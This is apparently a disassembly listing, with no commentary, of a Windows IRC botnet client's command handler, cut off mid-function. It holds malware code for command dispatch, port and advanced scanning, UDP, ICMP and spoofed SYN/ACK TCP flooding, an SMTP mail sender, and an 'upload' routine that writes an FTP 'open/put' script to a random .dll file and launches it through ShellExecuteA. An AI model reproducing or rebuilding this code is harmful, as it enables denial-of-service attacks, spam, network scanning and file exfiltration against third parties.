		jz	loc_401F20
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407640
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407640
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407168
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407168
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407049
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407049
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407049
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F3B
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F3B
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E15
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E15
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E15
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C53
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C53
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406BFB
		lea	eax, [ebp+var_46F0]
		push	edi
		push	eax
		call	sub_41C520
		push	[ebp+arg_18]
		call	sub_41BDE9
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_438C]
		push	eax
		call	sub_41C520
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_458C]
		push	eax
		call	sub_41C520
		push	offset asc_42F5E8 ; " "
		push	offset dword_42DB48
		push	[ebp+esi+var_7C]
		call	sub_418584
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		call	sub_41C520
		add	esp, 30h
		lea	eax, [ebp+var_528C]
		push	eax
		push	101h
		call	dword_4CE278	; WSAStartup
		lea	eax, [ebp+var_46F0]
		push	eax
		call	dword_4CE38C	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CE388	; socket
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CE308	; ntohs
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_458C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_568C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41BEF6
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CE2B0	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CE320	; recv
		lea	eax, [ebp+var_448C]
		push	ebx
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_568C]
		push	eax
		push	esi
		call	dword_4CE358	; send
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CE320	; recv
		push	esi
		call	dword_4CE3A0	; closesocket
		call	dword_4CE260	; WSACleanup
		lea	eax, [ebp+var_458C]
		push	eax
		push	offset unk_42D094


loc_406BB4:				; CODE XREF: sub_401AA1+2E32j
					; sub_401AA1+6551j ...
		lea	eax, [ebp+var_2C0]


loc_406BBA:				; CODE XREF: sub_401AA1+6859j
		push	eax
		call	sub_41BEF6


loc_406BC0:				; CODE XREF: sub_401AA1+23EEj
		add	esp, 0Ch


loc_406BC3:				; CODE XREF: sub_401AA1+4465j
					; sub_401AA1+44BFj ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406BE4
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		add	esp, 14h


loc_406BE4:				; CODE XREF: sub_401AA1+2941j
					; sub_401AA1+2956j ...
		mov	esi, [ebp+arg_24]


loc_406BE7:				; CODE XREF: sub_401AA1+8FBj
					; sub_401AA1+76B0j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415F45
		pop	ecx
		mov	eax, esi
		jmp	loc_401F23
; ---------------------------------------------------------------------------


loc_406BFB:				; CODE XREF: sub_401AA1+4FBDj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406C25
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4071BA


loc_406C25:				; CODE XREF: sub_401AA1+516Bj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_1C]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41BDE9
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_410D8B
		jmp	loc_409564
; ---------------------------------------------------------------------------


loc_406C53:				; CODE XREF: sub_401AA1+4F8Fj
					; sub_401AA1+4FA6j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41BFF0
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C6E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_406CB6
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CB6
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CB6
		push	offset unk_42D04C
		jmp	loc_406DDD
; ---------------------------------------------------------------------------


loc_406CB6:				; CODE XREF: sub_401AA1+51DBj
					; sub_401AA1+51F2j ...
		push	[ebp+arg_1C]
		call	sub_41BDE9
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1250],	eax
		jle	loc_406DD8
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41BFF0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_13D8]
		push	esi
		push	eax
		call	sub_41BFF0
		push	[ebp+arg_0]
		call	sub_41BDE9
		mov	[ebp+var_1254],	eax
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_124C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13DC],	eax
		lea	eax, [ebp+var_12D8]
		push	esi
		push	eax
		call	sub_41BFF0
		mov	eax, [ebp+var_4]
		add	esp, 28h
		cmp	[ebp+var_124C],	ebx
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1244],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406D4D
		mov	eax, offset aNormal ; "Normal"


loc_406D4D:				; CODE XREF: sub_401AA1+52A5j
		push	[ebp+arg_1C]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset unk_42D008
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41BFF0
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	14h
		push	eax
		call	sub_40B254
		add	esp, 2Ch
		mov	[ebp+var_1258],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13DC]
		push	ebx
		push	eax
		push	offset sub_414BED
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_1258]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_406DCE
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CFD0
		jmp	loc_404968
; ---------------------------------------------------------------------------


loc_406DC6:				; CODE XREF: sub_401AA1+5333j
		push	32h
		call	dword_428080	; Sleep


loc_406DCE:				; CODE XREF: sub_401AA1+5312j
		cmp	[ebp+var_1240],	ebx
		jz	short loc_406DC6
		jmp	short loc_406DEB
; ---------------------------------------------------------------------------


loc_406DD8:				; CODE XREF: sub_401AA1+5226j
		push	offset unk_42CF98


loc_406DDD:				; CODE XREF: sub_401AA1+1F74j
					; sub_401AA1+1F8Aj ...
		lea	eax, [ebp+var_2C0]


loc_406DE3:				; CODE XREF: sub_401AA1+4341j
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx


loc_406DEB:				; CODE XREF: sub_401AA1+20A5j
					; sub_401AA1+2EADj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_402399
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_406E08:				; CODE XREF: sub_401AA1+2364j
		call	sub_409743
		add	esp, 14h
		jmp	loc_402399
; ---------------------------------------------------------------------------


loc_406E15:				; CODE XREF: sub_401AA1+4F4Aj
					; sub_401AA1+4F61j ...
		cmp	dword_4CE3F4, ebx
		jnz	loc_406F20
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_1090]
		push	edi
		push	eax
		call	sub_41BC60
		push	[ebp+arg_18]
		call	sub_41BDE9
		push	[ebp+arg_0]
		mov	[ebp+var_1010],	eax
		call	sub_41BDE9
		push	[ebp+arg_1C]
		mov	[ebp+var_100C],	eax
		call	sub_41BDE9
		push	7Fh
		mov	[ebp+var_1008],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_1110]
		push	eax
		call	sub_41BC60
		push	[ebp+var_1008]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1114],	eax
		lea	eax, [ebp+var_1090]
		push	[ebp+var_100C]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_1010]
		push	offset unk_42CF50
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	16h
		push	eax
		call	sub_40B254
		add	esp, 48h
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1114]
		push	ebx
		push	eax
		push	offset sub_414050
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_1000]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_406F13
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CF14
		jmp	loc_404968
; ---------------------------------------------------------------------------


loc_406F0B:				; CODE XREF: sub_401AA1+5478j
		push	32h
		call	dword_428080	; Sleep


loc_406F13:				; CODE XREF: sub_401AA1+5457j
		cmp	[ebp+var_FF4], ebx
		jz	short loc_406F0B
		jmp	loc_406DEB
; ---------------------------------------------------------------------------


loc_406F20:				; CODE XREF: sub_401AA1+537Aj
		push	1FFh
		lea	eax, [ebp+var_2C0]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41BC60
		jmp	loc_404974
; ---------------------------------------------------------------------------


loc_406F3B:				; CODE XREF: sub_401AA1+4F1Cj
					; sub_401AA1+4F33j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C0]
		push	edi
		push	[ebp+arg_0]
		push	offset unk_42CEC0
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		push	[ebp+arg_0]
		call	sub_41B650
		push	[ebp+arg_18]
		mov	edi, eax
		call	sub_41B650
		push	[ebp+arg_20]
		add	edi, eax
		call	sub_41B650
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41B650
		add	eax, [ebp+var_C]
		push	[ebp+arg_1C]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41BF70
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41BDE9
		mov	edi, [ebp+arg_20]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_10], ebx
		jle	short loc_407035


loc_406FBE:				; CODE XREF: sub_401AA1+5541j
		push	[ebp+arg_C]
		push	[ebp+arg_18]
		push	edi
		call	sub_418C2F
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_20], eax
		jz	short loc_406FE6
		cmp	eax, ebx
		jnz	short loc_407005
		inc	[ebp+arg_10]
		mov	eax, [ebp+arg_10]
		cmp	eax, [ebp+arg_14]
		jl	short loc_406FBE
		jmp	short loc_40703E
; ---------------------------------------------------------------------------


loc_406FE6:				; CODE XREF: sub_401AA1+5532j
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42CE88


loc_406FEF:				; CODE XREF: sub_401AA1+55A6j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		add	esp, 14h
		jmp	loc_4071BA
; ---------------------------------------------------------------------------


loc_407005:				; CODE XREF: sub_401AA1+5536j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_2C0]
		push	offset unk_42CE54
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		add	esp, 20h


loc_407035:				; CODE XREF: sub_401AA1+551Bj
		cmp	[ebp+arg_20], ebx
		jnz	loc_4071BA


loc_40703E:				; CODE XREF: sub_401AA1+5543j
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42CE20
		jmp	short loc_406FEF
; ---------------------------------------------------------------------------


loc_407049:				; CODE XREF: sub_401AA1+4ED7j
					; sub_401AA1+4EEEj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_C68], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_D00]
		push	edi
		push	eax
		call	sub_41BC60
		push	[ebp+arg_18]
		call	sub_41BDE9
		push	[ebp+arg_0]
		mov	[ebp+var_C80], eax
		call	sub_41BDE9
		push	[ebp+arg_1C]
		mov	[ebp+var_C7C], eax
		call	sub_41BDE9
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C78], eax
		jz	short loc_4070AE
		push	esi
		call	sub_41BDE9
		pop	ecx
		mov	[ebp+var_C74], eax
		jmp	short loc_4070B4
; ---------------------------------------------------------------------------


loc_4070AE:				; CODE XREF: sub_401AA1+55FCj
		mov	[ebp+var_C74], ebx


loc_4070B4:				; CODE XREF: sub_401AA1+560Bj
		push	7Fh
		lea	eax, [ebp+var_D80]
		push	[ebp+var_88]
		push	eax
		call	sub_41BC60
		push	[ebp+var_C78]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_D00]
		mov	[ebp+var_D84], esi
		push	[ebp+var_C7C]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_C80]
		push	offset unk_42CDD8
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	17h
		push	eax
		call	sub_40B254
		add	esp, 30h
		mov	[ebp+var_C70], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D84]
		push	ebx
		push	eax
		push	offset sub_4141DC
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_C70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_40715B
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CD9C
		jmp	loc_407EF2
; ---------------------------------------------------------------------------


loc_407153:				; CODE XREF: sub_401AA1+56C0j
		push	32h
		call	dword_428080	; Sleep


loc_40715B:				; CODE XREF: sub_401AA1+569Fj
		cmp	[ebp+var_C64], ebx
		jz	short loc_407153
		jmp	loc_407F01
; ---------------------------------------------------------------------------


loc_407168:				; CODE XREF: sub_401AA1+4EA9j
					; sub_401AA1+4EC0j
		push	0Bh
		call	sub_40B496
		push	[ebp+arg_18]
		mov	[ebp+arg_10], eax
		call	sub_41BDE9
		add	eax, [ebp+arg_10]
		pop	ecx
		pop	ecx
		cmp	eax, 320h
		jle	loc_407331
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		push	offset dword_42CD38
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		add	esp, 20h


loc_4071BA:				; CODE XREF: sub_401AA1+517Ej
					; sub_401AA1+555Fj ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401F20
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409567
		push	4
		push	esi
		call	sub_416EA7
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407205
		push	esi
		push	offset dword_42CCF0


loc_4071F1:				; CODE XREF: sub_401AA1+78E2j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		jmp	loc_403F34
; ---------------------------------------------------------------------------


loc_407205:				; CODE XREF: sub_401AA1+5748j
		call	dword_4280B0	; GetTickCount
		push	eax
		call	sub_41BF48
		pop	ecx
		call	sub_41BF52
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41BF52
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41BF52
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_50FC]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E5C]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2E5C]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BB32
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401F20
		push	esi
		push	[ebp+arg_1C]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41C476
		push	[ebp+arg_24]
		call	sub_41B6CB
		lea	eax, [ebp+var_2E5C]
		push	eax
		lea	eax, [ebp+var_4CF8]
		push	offset dword_42CCB0
		push	eax
		call	sub_41BEF6
		add	esp, 2Ch
		lea	eax, [ebp+var_4CF8]
		push	ebx
		push	ebx
		push	eax
		push	offset dword_42CCA8
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CE274	; ShellExecuteA
		push	edi
		push	esi
		test	eax, eax
		jz	short loc_4072CF
		push	offset dword_42CC58
		jmp	short loc_4072D4
; ---------------------------------------------------------------------------


loc_4072CF:				; CODE XREF: sub_401AA1+5825j
		push	offset dword_42CBF8


loc_4072D4:				; CODE XREF: sub_401AA1+582Cj
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4072FD
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		add	esp, 14h


loc_4072FD:				; CODE XREF: sub_401AA1+583Ej
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415F45
		jmp	short loc_407317
; ---------------------------------------------------------------------------


loc_40730B:				; CODE XREF: sub_401AA1+5889j
		lea	eax, [ebp+var_2E5C]
		push	eax
		call	sub_41C44C


loc_407317:				; CODE XREF: sub_401AA1+5868j
		lea	eax, [ebp+var_2E5C]
		push	4
		push	eax
		call	sub_416EA7
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40730B
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_407331:				; CODE XREF: sub_401AA1+56E3j
		push	edi
		call	sub_41BDE9
		push	[ebp+arg_18]
		mov	[ebp+var_370], eax
		call	sub_41BDE9
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41BDE9
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40736A
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_40736A:				; CODE XREF: sub_401AA1+58BEj
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_407377
		mov	[ebp+var_36C], ecx


loc_407377:				; CODE XREF: sub_401AA1+58CEj
		push	[ebp+arg_1C]
		call	sub_41BDE9
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_368], eax
		jbe	short loc_407397
		mov	[ebp+var_368], 320h


loc_407397:				; CODE XREF: sub_401AA1+58EAj
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_434058, ebx
		mov	[ebp+arg_10], ebx
		jz	short loc_4073ED
		mov	[ebp+arg_24], offset dword_434058


loc_4073B0:				; CODE XREF: sub_401AA1+592Ej
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4073D3
		add	[ebp+arg_24], 40h
		inc	[ebp+arg_10]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_4073B0
		jmp	short loc_4073ED
; ---------------------------------------------------------------------------


loc_4073D3:				; CODE XREF: sub_401AA1+5920j
		mov	eax, [ebp+arg_10]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_434058[ecx]
		mov	[ebp+var_370], ecx


loc_4073ED:				; CODE XREF: sub_401AA1+5906j
					; sub_401AA1+5930j
		cmp	[ebp+var_370], ebx
		jnz	short loc_4073FF
		push	offset dword_42CBA0
		jmp	loc_406DDD
; ---------------------------------------------------------------------------


loc_4073FF:				; CODE XREF: sub_401AA1+5952j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_40743A
		cmp	byte ptr [edi],	23h
		jz	short loc_40743A
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41BFF0
		push	78h
		push	edi
		call	sub_41C620
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407514
; ---------------------------------------------------------------------------


loc_40743A:				; CODE XREF: sub_401AA1+5967j
					; sub_401AA1+596Cj
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40745C
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40745C
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40745C
		push	offset dword_42CB48
		jmp	loc_406DDD
; ---------------------------------------------------------------------------


loc_40745C:				; CODE XREF: sub_401AA1+599Fj
					; sub_401AA1+59A7j ...
		push	10h
		lea	eax, [ebp+var_2D8]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D8], edi
		push	[ebp+arg_4]
		call	dword_4CE2AC	; getsockname
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BC60
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40750E
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41C4B0
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407502


loc_4074E0:				; CODE XREF: sub_401AA1+5A5Fj
		cmp	eax, ebx
		jz	short loc_407502
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41C4B0
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4074E0


loc_407502:				; CODE XREF: sub_401AA1+5A3Dj
					; sub_401AA1+5A41j
		mov	[ebp+var_344], 1
		jmp	short loc_407514
; ---------------------------------------------------------------------------


loc_40750E:				; CODE XREF: sub_401AA1+5A17j
		mov	[ebp+var_344], ebx


loc_407514:				; CODE XREF: sub_401AA1+5994j
					; sub_401AA1+5A6Bj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41BFF0
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407565


loc_407552:				; CODE XREF: sub_401AA1+5AE7j
		push	esi


loc_407553:				; CODE XREF: sub_401AA1+5AD1j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41BFF0
		add	esp, 0Ch
		jmp	short loc_407590
; ---------------------------------------------------------------------------


loc_407565:				; CODE XREF: sub_401AA1+5AAFj
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407574
		cmp	byte ptr [eax],	23h
		jnz	short loc_407574
		push	eax
		jmp	short loc_407553
; ---------------------------------------------------------------------------


loc_407574:				; CODE XREF: sub_401AA1+5AC9j
					; sub_401AA1+5ACEj
		mov	esi, offset asc_42AAA4 ; "#l"
		push	offset byte_4404C4
		push	esi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407552
		mov	[ebp+var_3F4], bl


loc_407590:				; CODE XREF: sub_401AA1+5AC2j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4075A2
		mov	eax, offset aSequential	; "Sequential"


loc_4075A2:				; CODE XREF: sub_401AA1+5AFAj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42CAA0
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Bh
		push	eax
		call	sub_40B254
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset sub_40C485
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_407633
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42CA48
		jmp	loc_404968
; ---------------------------------------------------------------------------


loc_40762B:				; CODE XREF: sub_401AA1+5B98j
		push	32h
		call	dword_428080	; Sleep


loc_407633:				; CODE XREF: sub_401AA1+5B77j
		cmp	[ebp+var_340], ebx
		jz	short loc_40762B
		jmp	loc_406DEB
; ---------------------------------------------------------------------------


loc_407640:				; CODE XREF: sub_401AA1+4E7Bj
					; sub_401AA1+4E92j
		push	edi
		call	sub_40A7C5
		push	[ebp+arg_18]
		mov	[ebp+var_4E0], eax
		call	sub_41BDE9
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41BDE9
		push	[ebp+arg_1C]
		mov	[ebp+var_4EC], eax
		call	sub_41BDE9
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41BC60
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
